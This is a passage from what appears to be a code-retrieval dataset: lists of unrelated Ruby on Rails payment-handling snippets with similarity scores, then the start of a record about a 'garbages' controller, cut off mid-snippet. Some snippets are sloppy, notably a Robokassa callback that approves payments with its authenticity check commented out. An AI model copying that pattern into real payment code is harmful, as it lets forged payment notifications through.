Params:\\n#{params.inspect}\")\n end\n render :nothing => true\n end", "def test_transaction_failed\n response = @gateway.setup_purchase(500, @options)\n\n # now try to authorize the payment, issuer simulator lets the payment fail\n response = @gateway.capture(response.transaction['transactionID'])\n assert_failure response\n assert_equal 'Failure', response.transaction['status'], 'Transaction should fail'\n end", "def unsuccessful\n end", "def payment\n @invoice = BitcoinInvoice.find_by_notification_key(params[:id])\n #if @invoice.status != BitcoinInvoice::NEW\n # redirect_to root_path, :alert => 'Cannot pay more than once!' and return\n #end\n end", "def paypal_flash_error(payment_model = nil)\n if payment_model\n render_flash_modal('Payment Errors', payment_model.paypal_errors_msg, 'warning')\n else\n render_flash_modal('Invalid Payment','We are sorry, there are problems with paypal service. Please contact to administrator.', 'warning')\n end\n end", "def payment_method\n # If redirected here with token, means user selected cancel option at PayPal.\n if params.key? :token\n flash[:notice] = 'PayPal payment cancelled'\n end\n\n @payment = @application.unpaid_payment\n end", "def test_failed_purchase_decline\n response = @gateway.purchase(@amount, @declined_card, @options)\n assert_failure response\n assert_equal 1, response.responses.count\n assert_equal 'Card declined.', response.message\n assert_equal 'card_declined', response.error_code\n end", "def contact_us_to_complete_payment\n # Horrible hack: when the user triggers a £40 edit charge, chooses a payment\n # method but then navigates backward, we get into a state where we can no\n # longer compare the \"old\" and \"new\" carrier types (because we no longer\n # know what the \"old\" type was as its now been overwritten in Mongo). This\n # means the new charge determination will output no charge, potentially\n # making the change of carrier type free.\n setup_registration('payment', true)\n render_not_found and return unless @registration\n end", "def test_unsuccessful_amex_request\n @gateway.expects(:ssl_post).returns(failed_purchase_amex_response)\n\n assert response = @gateway.purchase(@amount, @amex_credit_card, @amex_options)\n assert_match %r{requeridos para pagos con AMEX}, response.message\n assert_failure response\n assert response.test?\n end", "def successful_purchase_response\n end", "def paypal\n if params[:token]\n if @subscription.complete_paypal(params[:token])\n login_and_email\n render :action => :thanks\n else\n render :action => 'billing'\n end\n else\n redirect_to :action => \"billing\"\n end\n end", "def process_payment \n if params != nil \n @order =Checkout.new( \n :name => params[:name],\n :pay_method => params[:pay_method] ,\n :total_price => params[:total_price].to_i)\n end \n\n if not params[:pay_err]\n render :layout => \"paygate\" \n else\n # @err = params[:pay_err].force_encoding('utf-8')\n @error_code = params[:replycode] \n flash[:error] = @error_code\n redirect_to pay_url\n end \n end", "def check_access\n redirect_to billing_path, flash: { error: \"Your account is inactive. Access will be restored once payment succeeds.\" } if current_account.try(:inactive?)\n end", "def attemp_buying\n\n end", "def pay(payment)\n retval\n end", "def unsuccessfully_charged(invoice, user)\n @subscription = invoice.lines.data.first\n @user = user\n @subscription_plan = @subscription.plan.name\n @subscription_amount = format_amount(invoice.total)\n \n # Mail invoice \n mail to: user.email, subject: \"Unsuccessful Payment - Grapevine Receipt\"\n end", "def verify_error action, ret\n if !ret.nil? and ret.has_key? :erro\n ActiveMerchant::Billing::Response.new(false, \"Cielo: #{ret[:erro][:codigo]} - #{ret[:erro][:mensagem]}\", {}, {})\n else\n ActiveMerchant::Billing::Response.new(false, Spree.t(\"cielo.messages.#{action}_rescue\"), {}, {})\n end\n end", "def payment_return\n url = root_url\n if (params[:status] == \"1\")\n @publication = Publication.find(params[:id])\n url = publication_url(@publication)\n flash[:notice] = \"La publicacion ha sido creada correctamente.\"\n elsif (params[:status] == \"2\")\n url = publications_url\n flash[:notice] = \"El pago de la publiacción esta pendiente. Al completarse exitosamente el mismo, la publicación quedará creada correctamente.\"\n elsif (params[:status] == \"3\")\n url = publications_url\n flash[:error] = \"El pago de la publiacción no pudo completarse correctamente.\"\n elsif (params[:status] == \"4\")\n @publication = Publication.find(params[:id])\n url = publication_url(@publication)\n flash[:notice] = \"La publicación fue actualizada exitosamente.\"\n end\n redirect_to url\n end", "def purchase\n # number of checks to see if coming out of context\n # no order_id\n unless params[:order_id]\n go_home()\n return\n end\n @order = Order.find_by_id(params[:order_id])\n # order doesn't exist\n unless @order\n go_home()\n return\n end\n # order is already authorized or paid\n if @order.state != Order::CREATED\n go_home()\n return\n end\n # order has zero quantity or zero amount\n if @order.quantity == 0 or @order.amount == 0\n go_home()\n return\n end\n # deal doesn't exist\n deal = @order.deal\n unless deal\n go_home()\n return\n end\n \n # check if deal has ended\n if deal.is_ended\n flash[:error] = \"This deal has ended. Checkout out some of our other deals!\"\n go_home()\n return\n end\n \n # check if deal hasn't started\n if !deal.is_started\n go_home()\n return\n end\n \n # check if order is timed out\n if @order.is_timed_out\n flash[:error] = \"Your order has timed out. Please restart your transaction.\"\n redirect_to :controller => self.controller_name, :action => 'order', :deal_id => @order.deal.id\n return\n end\n \n if params[:failure]\n flash.now[:error] = \"There was a problem approving your transaction. Please try again.\"\n end\n \n @sim_transaction = \n AuthorizeNet::SIM::Transaction.new(\n AUTHORIZE_NET_CONFIG['api_login_id'], \n AUTHORIZE_NET_CONFIG['api_transaction_key'], \n @order.amount.to_f,\n :transaction_type => AuthorizeNet::SIM::Transaction::Type::AUTHORIZE_ONLY,\n :relay_url => url_for(:controller => self.controller_name, :action => 'relay_response', :only_path => false))\n @timeout = OPTIONS[:order_timeout]\n @gateway_url = Rails.env.production? ? AuthorizeNet::SIM::Transaction::Gateway::LIVE : AuthorizeNet::SIM::Transaction::Gateway::TEST\n render \"payment/#{self.action_name}\"\n end", "def finish_paypal!(_payer_id, token)\n return errors.add(:base, \"Invalid paypal payment token.\") && false if payment_token != token\n response = EXPRESS_GATEWAY.purchase(total_amount*100, {ip: payment_ip, token: payment_token, payer_id: _payer_id})\n unless response.success?\n Rails.logger.error \"********** Paypal Payment Error: #{response.inspect}\"\n errors.add(:base, response.message)\n else\n self.attributes = {payment_payer_id: _payer_id, payment_at: Time.current}\n end\n save\n end", "def guard_process_payment_from_created; true; end", "def guard_process_payment_from_created; true; end", "def redsys_error\n logger.debug \"==== REDSYS#ERROR ==== order##{params[:order_id]} params# #{params.inspect}\"\n notify_acknowledge = acknowledgeSignature(redsys_credentials(payment_method))\n if notify_acknowledge\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n @order.update_attribute(:payment_state, 'failed')\n flash[:alert] = Spree.t(:spree_gateway_error_flash_for_checkout)\n end\n redirect_to order_path(@order)\n end", "def process_payment\n @order.update_with_totals(order_params)\n processor = new_processor(@order, params[:stripeToken])\n checkout_response = checkout(processor).pay!\n \n if checkout_response[:status] == \"succeeded\"\n successful_order\n elsif checkout_response[:status] == \"pending_confirmation\" \n @order.pending_confirmation!\n redirect_to checkout_response[:second_step_url]\n else\n failed_order\n end\n end", "def express_checkout_complete \n paypal_token = params[:token] \n @prize = Prize.find_by_paypal_token(paypal_token, :conditions => [\"paypal_state = 'purchase_setup'\"]) \n @details = gateway.details_for(paypal_token) \n \n if !@details.success?\n #paypal has reported error back to our system\n paypal_error(@details) \n else \n \n #might want to add to debug\n logger.info \"Customer name: #{@details.params['name']}\" \n logger.info \"Customer e-mail: #{@details.params['payer']}\" \n \n @response = gateway.purchase( \n amount_in_cents(@prize.paypal_prizecost), \n :token => @details.params['token'], \n :payer_id => @details.params['payer_id'] \n )\n \n if !@response.success? \n paypal_error(@response) \n else \n @prize.update_attributes(\n :paypal_state => 'closed',\n :paypal_amount => @response.params['gross_amount'] \n ) \n \n #send to prize confirmation page \n end #!@response.success? \n end #!@details.success?\nend", "def post_payment(order_details, merchant_id, amount, locale='en')\r\n dispatch('6',order_details, merchant_id, amount, locale) \r\n @message = get_payment_client_error('PaymentClient.Error') unless @no_error\r\n end", "def paypal\n if params[:token]\n if @subscription.complete_paypal(params[:token])\n if admin_user_pending?\n redirect_to activate_path(@user.activation_code)\n else\n flash[:notice] = 'Your billing information has been updated'\n redirect_to :action => \"billing\"\n end\n else\n render :action => 'billing'\n end\n else\n redirect_to :action => \"billing\"\n end\n end", "def purchase\n create_payment(\n user: launched_by,\n organization: organization,\n network_payment_method_id: @network_payment_method.id,\n description: description,\n amount: total_price.to_f,\n quantity: sample_size,\n unit_amount: price_per_response.to_f,\n )\n\n return if payment.persisted?\n\n errors.add(:base, \"Payment failed: #{payment.errors.full_messages.join('. ')}\")\n # throw doesn't work in after_* callbacks, so use this to stop the transaction\n raise ActiveRecord::RecordInvalid, self\n end", "def success\n render :text => 'Payment transaction successful'\n end", "def problem (payment)\n @payment = payment\n\n mail to: payment.user.email, subject: \"Ууупс, проблема с подтверждением Вашего платежа на kupibazar.com\"\n end", "def test_invalid_login\n gateway = PayuLatamGateway.new(merchant_id: '', account_id: '', api_login: 'U', api_key: 'U', payment_country: 'AR')\n response = gateway.purchase(@amount, @credit_card, @options)\n assert_failure response\n end", "def failed_path\n\t\t\t\t\t\tric_payment_public.done_payment_url(@payment_subject)\n\t\t\t\t\tend", "def void\n @order.void_payment\n render 'status'\n end", "def after_charge(payment:)\n if !payment[:additional_data].nil? && payment.dig(:additional_data, :is_payment_details_required).to_s.downcase == 'true'\n state_data = payment.dig(:additional_data, :details)\n payment_data = payment.dig(:additional_data, :payment_data)\n\n response = Api.payment_details(credentials, state_data, payment_data)\n\n if response.code.to_i == 200\n if VALID_STATUSES.include?(response['resultCode'].to_s)\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: response['pspReference'],\n amount_currency: payment[:amount_currency].to_s,\n amount_cents: payment[:amount_cents],\n external_payment_id: response['pspReference'],\n status: response['resultCode'],\n client_payload: response\n )\n else\n error_response(\n response['refusalReasonCode'],\n response['refusalReason'],\n response['resultCode'],\n payment[:payment_token]\n )\n end\n else\n error_response(\n response['errorCode'],\n response['message'],\n response['status'],\n payment[:payment_token]\n )\n end\n else\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: payment[:payment_token],\n amount_currency: payment[:amount_currency].to_s,\n amount_cents: payment[:amount_cents]\n )\n end\n end", "def handle_paid_payment(payment)\n response = MangoPay::Withdrawal.create({\n 'UserID' => payment.recipient.mangopay_id,\n 'WalletID' => 0,\n 'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,\n 'Amount' => payment.total_sum.cents,\n 'Tag' => payment.id\n })\n\n puts \"WITHDRAWAL RESPONSE #{response.inspect}\"\n\n if response[\"ErrorCode\"]\n ApplicationHelper.send_error_notification(response[\"ErrorCode\"], \"MangopayWithdrawalError\", response)\n return false\n else\n return true\n end\n\n end", "def verify_error action, ret\n if !ret.nil? and ret.has_key? :erro\n if ret[:erro][:codigo] == '001'\n ActiveMerchant::Billing::Response.new(false, Spree.t('cielo.messages.invalid_message'), {}, {})\n else\n ActiveMerchant::Billing::Response.new(false, \"Cielo: #{ret[:erro][:codigo]} - #{ret[:erro][:mensagem]}\", {}, {})\n end\n else\n ActiveMerchant::Billing::Response.new(false, Spree.t(\"cielo.messages.#{action}_rescue\"), {}, {})\n end\n end", "def perform_test_payment\n subscription = user.subscriptions.not_paid.first\n SubscriptionManager.new(subscription: subscription).pay if subscription\n end", "def validate\n payment = Spree::Payment.find_by number: params[:payment_token] \n spree_updater = Spree::Cmcb::PaymentStateUpdater.new(payment)\n spree_updater.call\n # Cmcb.update_payment_status payment\n \n # Rails.logger.info(\"Redirect URL visited for order #{params[:order_number]}\")\n order = payment.order\n order = order.reload\n \n # # Order is paid for or authorized (e.g. Klarna Pay Later)\n redirect_to order.paid? || payment.pending? ? order_path(order) : checkout_state_path(:payment)\n end", "def checkout\n \n # there must be a payment\n @payment = session[:payment]\n if !@payment || !@payment.amount\n @message = \"Sorry an internal error has occured\"\n render :action => 'error'\n return\n end\n\n # the donation can change based on parameters supplied\n if @payment.amount < 1\n # collect both possible donations\n donation = params[:donation]\n donation2 = params[:donation2]\n donation2 = donation if donation2\n donation = donation2.to_i\n @payment.update_attributes( :amount => donation )\n end\n if @payment.amount < 1\n @message = \" bad donation amount entered. Please hit back and try again\"\n render :action => 'error'\n return\n end\n\n # capture the company match if there is one\n matching_company = params[:matching_company]\n if matching_company\n @payment.update_attributes( :matching_company => matching_company)\n end\n\n # try get a party if there is one passed - this overrides anything from before.\n @party = nil\n @party = User.find(params[:party].to_i) if params[:party]\n @partyid = 0\n @partyid = @party.id if @party\n @payment.update_attributes( :owner_id => @partyid ) if @partyid > 0\n \n #if @payment.owner_id == 0\n # @message = \"Sorry no person to donate to found\"\n # render :action => 'error'\n # return\n #end\n\n # move payment along to the next stage\n @payment.update_attributes( :description=> Payment::CHECKOUT , :amount => donation )\n\n @notify_url = url_for(\n :controller=>\"payment\",\n :action => 'payment_received',\n :id => @payment.id,\n :only_path => false\n )\n\n @return_url = url_for(\n :controller=>\"payment\",\n :action => 'confirm_standard',\n :only_path => false\n )\n\n @paypal_business_email = SETTINGS[:paypal_business_email]\n @business_key = PAYPAL_MYPRIVKEY\n @business_cert = PAYPAL_MYPUBCERT\n @business_certid = SETTINGS[:paypal_cert]\n @action_url = \"http://www.paypal.com/cgi-bin/webscr\"\n Paypal::Notification.ipn_url = @action_url\n Paypal::Notification.paypal_cert = PAYPAL_CERT\n\n end", "def return\n flash[:success] = \"Thanks for supporting us! We will activate your plan upon payment confirmation! The time this takes depends on PayPal.\"\n redirect_to root_path\n end", "def declined\n if @order && params[:ref1] == @order.id.to_s\n @order.transaction_data = params.to_yaml\n @order.save\n end\n redirect_to root_path, alert: \"Your order was not processed. It was cancelled by the credit card processor. #{params[:messageText]}\"\n end", "def test_credit_card_purchase_and_void_amount_not_specified\n assert purchase = @gateway.purchase(@amount, @credit_card, @options)\n assert_success purchase\n assert_equal 'Approved', purchase.message\n assert void = @gateway.void(nil, purchase.authorization, @credit_card, @options)\n assert_failure void\n assert_equal 'TRANSACTION AMOUNT IS REQUIRED', void.message\n end", "def process_payments!\n if group_buy\n process_payments_with(:authorize!)\n else\n process_payments_with(:purchase!)\n end\n end", "def success\n return unless params[:redirect_flow_id] == @order.gocardless_redirect_flow_id\n Gocardless::RedirectFlowService::CreateMandate.run(@order) do\n Gocardless::Payment.run(@order) do\n @order.status = :paid\n @order.confirm\n return redirect_to signup_order_path(@order)\n end\n # Payment failed\n end\n # Payment or creating mandate failed\n end", "def create \t\n @order = Order.new(params[:order])\n @order.ip_address = request.remote_ip\n @order.user_id = session[:user_id]\n if @order.save\n if @order.purchase\n render :action => 'index'\n else\n \t#flash[:notice] = \"<p>Unfortunately, your credit card transaction could not be processed.Authorization for funds may appear on your credit card account, but the transaction was declined and no funds were collected.</p>\"\n \t#render :action => 'new'\n \trender :action => \"failure\"\n end\n else\n render :action => 'new'\n end\nend", "def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end", "def payment_failed(user_id, subscription_id:, subscription_mrr:, subscription_value:, time_interval:)\n track(user_id, PaymentFailed.new(\n subscription_id: subscription_id,\n subscription_mrr: subscription_mrr,\n subscription_value: subscription_value,\n time_interval: time_interval \n ))\n end", "def validate_payment\n order_number, payment_number = split_payment_identifier params[:order_number]\n payment = Spree::Payment.find_by_number payment_number\n order = Spree::Order.find_by_number order_number\n mollie = Spree::PaymentMethod.find_by_type 'Spree::Gateway::MollieGateway'\n mollie.update_payment_status payment\n\n MollieLogger.debug(\"Redirect URL visited for order #{params[:order_number]}\")\n\n redirect_to order.reload.paid? ? order_path(order) : checkout_state_path(:payment)\n end", "def subscription_payment_failed(customer_param)\n return true unless EffectiveOrders.mailer[:send_subscription_payment_failed]\n\n @customer = (customer_param.kind_of?(Effective::Customer) ? customer_param : Effective::Customer.find(customer_param))\n\n mail(\n to: @customer.user.email,\n from: EffectiveOrders.mailer[:default_from],\n subject: subject_for_subscription_payment_failed(@customer)\n )\n end", "def test_transaction_unknown\n response = @gateway.setup_purchase(700, @options)\n\n # now try to authorize the payment, issuer simulator lets the payment fail\n response = @gateway.capture(response.transaction['transactionID'])\n\n assert_failure response\n assert_equal 'SO1000', response.error[ 'errorCode'], 'ErrorCode should be correct'\n end", "def failedTransaction(transaction)\n\n if transaction.error.code != SKErrorPaymentCancelled && transaction.error.code != 0\n NSLog(\"Transaction failed with error: %@\", transaction.error.localizedDescription)\n\n NSNotificationCenter.defaultCenter.postNotificationName('IAPTransactionFailed',\n object:nil,\n userInfo: {\n :transaction => transaction })\n\n else\n NSLog('Transaction Cancelled.')\n\n NSNotificationCenter.defaultCenter.postNotificationName('IAPTransactionCancelled',\n object:nil,\n userInfo: {\n :transaction => transaction })\n\n\n end\n SKPaymentQueue.defaultQueue.finishTransaction(transaction)\n end", "def processPayment(text)\n if @products.has_key?(text)\n @products[text].handlePayment\n return true\n else\n puts \"Invalid product: #{text}\"\n return false;\n end\n end", "def do_failure; end", "def error(order)\n @order = order\n\n mail to: 'mrigney@yozu.co.uk', subject: 'Pragmatic Store Order Error'\n end", "def pay\n \n Notifyer.print( 'Shop::StripeTransfer#pay' , self ) if Rails.env.development?\n \n set_description\n self.process!\n \n begin\n Stripe::Transfer.create(\n amount: self.amount.round.to_i,\n destination: self.destination,\n source_transaction: self.source_transaction,\n currency: self.currency,\n description: self.description,\n metadata: {\n 'description' => self.description,\n 'order_item_id' => self.order_item_id\n },\n statement_descriptor: \"#{self.description} test 001\",\n application_fee: self.application_fee,\n #recipient: self.destination \n )\n self.finis!\n rescue Stripe::StripeError => e\n self.fail!\n self.update(stripe_errors: e.message)\n errored('Shop::StripeTransfer#pay', e )\n return false\n end\n true\n end", "def action_errors\n if @sender.abducted \n render json: \"\\nYou can't do this, you are already Abducted!!\"\n elsif params[:sender_id] == params[:survivor_id]\n render json: \"\\nYou can't do this. Are you trying to report yourself?\"\n end\n end", "def success\n authorize! :view_sofort_thankyou_page, @order\n @address = @order.address\n @product = @order.product.decorate\n return render 'signup/orders/show' if @order.confirmed?\n transaction = ::Sofort::FinishTransaction.new(@order)\n transaction.run do\n @order.status = :paid\n @order.confirm\n return render 'signup/orders/show'\n end\n # customer opens success-page, but transaction is not complete\n flash.now[:notice] = t(:transaction_no_confirmation)\n render 'signup/orders/show'\n end", "def paypal_errors_msg\n \"We are sorry, but the purchase was not completed due the following errors: #{errors.full_messages.join(', ')}\"\n end", "def paid\r\n #if @notification.acknowledge # check if it’s genuine Robokassa request\r\n #@user.approve! # project-specific code\r\n render :text => @notification.success_response\r\n @payment.approve!\r\n #else\r\n #head :bad_request\r\n #end\r\n end", "def complete\n handle_callback_params!\n redirect_to redirect_path(@payment.try(:order))\n end", "def user_payment_callback\n @user = User.find_by(bill_id: params[:id])\n @user.skip_icpassport_validation = true\n @last_ezi = User.all.where.not(:ezi_id => nil).order(:ezi_id).last.ezi_id.gsub(/[^0-9]/, '').to_i\n @ezi_id = @last_ezi + 1\n @ezi_id_string = \"Q\" + @ezi_id.to_s.rjust(4,'0')\n @expiry = @user.package * 365\n response = BillplzReg.check_status(@user.id)\n if (response['paid'] == true) && (response['state']=='paid')\n @user.update_attributes(status: 1, :ezi_id => @ezi_id_string, :expiry => @expiry.days.from_now)\n render body: nil\n end\n end", "def test_invalid_login\n gateway = SecurePayAuExtendedGateway.new(\n :login => '',\n :password => ''\n )\n assert response = gateway.purchase(@amount, @credit_card, @purchase_options)\n assert_failure response\n assert_equal \"Invalid merchant ID\", response.message\n end", "def place_order\n \n @job = Job.find(params[:job_id])\n fetch_decrypted(@job)\n \n if @logged_user.credits > 0\n render(:action => \"confirm_order\")\n return\n else\n #place order will have our paypal buttons\n render(:action => \"place_order\")\n return\n end\n \n rescue ActiveRecord::RecordNotFound\n flash[:alert] = \"Buying credits for fun?\"\n redirect_to :action => \"profile\"\n end", "def quik_pay_callback\n validate_quik_pay_hash(params.except(:controller, :action))\n validate_quik_pay_timestamp(params[\"timestamp\"])\n\n log = { type: \"alma_pay\", user: current_user.id, transactionStatus: params[\"transActionStatus\"] }\n\n type, message = do_with_json_logger(log) {\n\n if params[\"transactionStatus\"] == \"1\"\n balance = Alma::User.send_payment(user_id: current_user.uid);\n\n if balance.paid?\n type = :notice\n message = helpers.successful_payment_message\n else\n type = :error\n message = \"There was a problem with your transaction. Please call 215-204-8212.\"\n end\n\n else\n type = :error\n message = \"There was a problem with your transaction. Please call 215-204-8212.\"\n end\n\n [type, message]\n }\n\n redirect_to users_account_path, flash: { type => message }\n end", "def set_active_payment\n @payment ||= session[:payment_data][:billing_class].constantize.find(session[:payment_data][:billing_id])\n rescue\n render text: \"No valid payment\", status: 400\n end", "def return\n notify = ActiveMerchant::Billing::Integrations::Paypal::Notification.new(request.raw_post)\n @order = ::Order.find_by_number(notify.item_id)\n if notify.acknowledge\n begin\n redirect_to thank_you_order_url(@order)\n rescue => e\n redirect_to '/'\n end\n end\n end", "def failed_transaction(booking)\n @booking = booking\n subject = \"Purchase transaction failed notice\"\n setup_email(ADMIN_EMAIL, subject)\n end", "def allpay_complete\n\n # RtnCode's value 1 means the transaction was success.\n # In this method, just like the other callback handlers, updating the order payment status.\n if params['RtnCode'] == '1' || params['RtnCode'] == '3'\n registration_payment = RegistrationPayment.find_by_registration_id!(params['MerchantTradeNo'].delete('R').split('t')[0])\n\n registration_payment.trade_no = params['TradeNo']\n registration_payment.trade_time = params['TradeDate']\n registration_payment.payment_time = params['PaymentDate']\n registration_payment.completed = true\n registration_payment.completed_time = Time.now\n registration_payment.save!\n\n RegistrationMailer.completed_confirmation(registration_payment.registration_id).deliver_later\n\n render text: '1|OK'\n else\n\n # Return the result to allpay server\n render text: '0|Failed! Transaction was interrupted and not completed when AllPay handling the payment.'\n end\n end", "def subscription_payment_failed(resource, opts = {})\n raise('expected an Effective::Customer') unless resource.kind_of?(Effective::Customer)\n\n @customer = resource\n subject = subject_for(__method__, 'Payment failed - please update your card details', resource, opts)\n headers = headers_for(resource, opts)\n\n mail(to: @customer.user.email, subject: subject, **headers)\n end", "def process_payment!\n @payment_type.pay\n end", "def test_transaction_expired\n response = @gateway.setup_purchase(300, @options)\n\n # now try to authorize the payment, issuer simulator let the payment expire\n response = @gateway.capture(response.transaction['transactionID'])\n\n assert_failure response\n assert_equal 'Expired', response.transaction['status'], 'Transaction should expire'\n end", "def process_payment_status\n order = Spree::Order.find_by_number(params[:order_id])\n payment_id = order.payments.last.response_code\n \n mollie = Spree::PaymentMethod.find_by_type(\"Spree::Gateway::Mollie\")\n mollie_payment = mollie.provider.payments.get(payment_id)\n \n spree_payment = Spree::Payment.find_by_response_code(payment_id)\n\n # Translate Mollie status to Spree status and safe is to the order\n if mollie_payment.paid?\n spree_payment.complete! unless spree_payment.completed?\n spree_payment.order.next! unless spree_payment.order.complete?\n\n elsif mollie_payment.open? == false\n flash[:error] = t(\"payment.cancelled\", {default: \"Payment cancelled\"})\n spree_payment.failure! unless spree_payment.failed?\n \n else\n spree_payment.pend! unless spree_payment.pending?\n end\n\n redirect_to order.reload.paid? ? order_path(order) : checkout_state_path(:payment)\n end", "def test_invalid_transaction\n\t\tassert_raise(Payment::PaymentError) {\n\t\t\t@transaction = @bad_order.get_auth_transaction\n\t\t\tassert_equal @transaction.test_transaction, true\n\t\t\t@transaction.submit\n\t\t}\n\tend", "def failed!\n @success = false\n end", "def settled_payment?\n SUCCESSFUL_PAYMENT.include?(response['payment_state'])\n end", "def can_void?(payment)\n !%w(void failure invalid).include?(payment.state)\n end", "def execute_transaction\n if self.valid?\n @sender.balance -= @amount\n @receiver.balance += @amount\n @amount -= @amount\n @status = \"complete\"\n else\n @status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\nend\nend", "def can_void?(payment)\n !payment.failed? && !payment.void?\n end", "def can_void?(payment)\n !payment.failed? && !payment.void?\n end", "def cheque_or_card_payment_not_excessive\n\t\t\n\t\tself.errors.add(:amount,\"payment is excessive\") if payment_excessive? && (is_cheque? || is_card?) && !refund\n\tend", "def payment_cancelled(user, amount)\n @user = user\n @amount = sprintf(\"$%0.2f\", (amount/100))\n \n\n mail to: @user.email,\n subject: \"Your most recent invoice payment failed\"\n end", "def after_redeem() end", "def payment_method_continue\n # Store payment method in session\n session[:payment_type] = params[:payment_type].to_sym if params[:payment_type]\n\n if session[:payment_type] == :paypal\n payment = @application.unpaid_payment\n redirect_to payment.generate_paypal_url(request.remote_ip, new_payment_url, payment_method_url)\n elsif session[:payment_type] == :credit_card\n redirect_to new_payment_path\n else\n flash[:notice] = 'You must choose a payment method.'\n @payment = @application.unpaid_payment\n render :payment_method\n end\n end", "def purchase_with_card!\n puts 'purchase_with_card!'\n unless validate_card \n puts 'card invalid'\n puts 'calling err'\n err!\n puts 'state'\n puts self.state\n puts 'saving...'\n self.save!\n puts 'saved. state is'\n puts self.state\n puts 'valid?'\n puts self.valid?\n puts self.errors.full_messages\n return false \n end\n \n mode = self.account.gateway.mode\n gateway = self.account.gateway.authorize_net\n \n response = gateway.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", \n :amount => price_in_cents, \n :response => response,\n :meth => 'card',\n :origin => 'web',\n :gateway_mode => mode)\n \n puts \"RESPONSE.success?\"\n puts response.success?\n \n if response.success?\n puts \"calling FINALIZE\"\n finalize!\n puts \"STATE\"\n puts state\n else\n puts \"calling ERR!\"\n err!\n puts 'STATE:'\n puts state\n end\n \n # response.success?\n end" ]
[ "0.73759115", "0.6906974", "0.6846999", "0.68319744", "0.67229575", "0.67106324", "0.66818583", "0.6670587", "0.6570027", "0.6504929", "0.644172", "0.64226747", "0.63766766", "0.6360292", "0.6351418", "0.6323684", "0.63178676", "0.6317282", "0.6307986", "0.6300509", "0.6294678", "0.6254833", "0.6250855", "0.6249168", "0.6245216", "0.6223408", "0.6206667", "0.6186477", "0.6178002", "0.6168002", "0.614981", "0.614508", "0.6126768", "0.611104", "0.60638505", "0.6030029", "0.6014659", "0.60102254", "0.60102254", "0.59961164", "0.59909236", "0.5987557", "0.59869194", "0.5986495", "0.5984542", "0.5977495", "0.5973678", "0.59618694", "0.595476", "0.5936822", "0.5935198", "0.5933881", "0.59249055", "0.5914262", "0.5914178", "0.59020305", "0.58889", "0.5884476", "0.58813936", "0.586229", "0.58576673", "0.5855787", "0.5849375", "0.58488315", "0.5842894", "0.5840374", "0.5840358", "0.58346325", "0.58297086", "0.5820757", "0.5814054", "0.580405", "0.5794808", "0.57870686", "0.5775203", "0.5774664", "0.57687414", "0.5763402", "0.57520026", "0.5744569", "0.5744185", "0.5732697", "0.57282925", "0.57271063", "0.572033", "0.5709831", "0.570935", "0.57023984", "0.57004327", "0.57002646", "0.56964684", "0.56936735", "0.5688588", "0.5685731", "0.5682855", "0.5682855", "0.5681979", "0.56775886", "0.56765175", "0.5675703", "0.564991" ]
0.0
-1
GET /garbages/1 GET /garbages/1.xml
def show @garbage = Garbage.find(params[:id]) respond_to do |format| format.html # show.html.erb format.csv { send_data(@garbage.to_a.to_csv(Garbage), :type => "text/csv") } # format.xml { send_data(@garbage.to_xml, :type => "text/xml; charset=utf8;", :disposition => "attachement") } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @garbage }\n end\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def index\n @retain_nodes = RetainNode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_nodes }\n format.json { render :json => @retain_nodes }\n end\n end", "def index\n @garbage_types = GarbageType.all\n end", "def print_my_recent_bookmarks(username, password)\n # Make the HTTPS request.\n response = open('https://api.del.icio.us/v1/posts/recent',\n :http_basic_authentication => [username, password])\n\n # Read the response entity-body as an XML document.\n xml = response.read\n\n # Turn the document into a data structure.\n document = REXML::Document.new(xml)\n\n # For each bookmark...\n REXML::XPath.each(document, \"/posts/post\") do |e|\n # Print the bookmark's description and URI\n puts \"#{e.attributes['description']}: #{e.attributes['href']}\"\n end\nend", "def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at 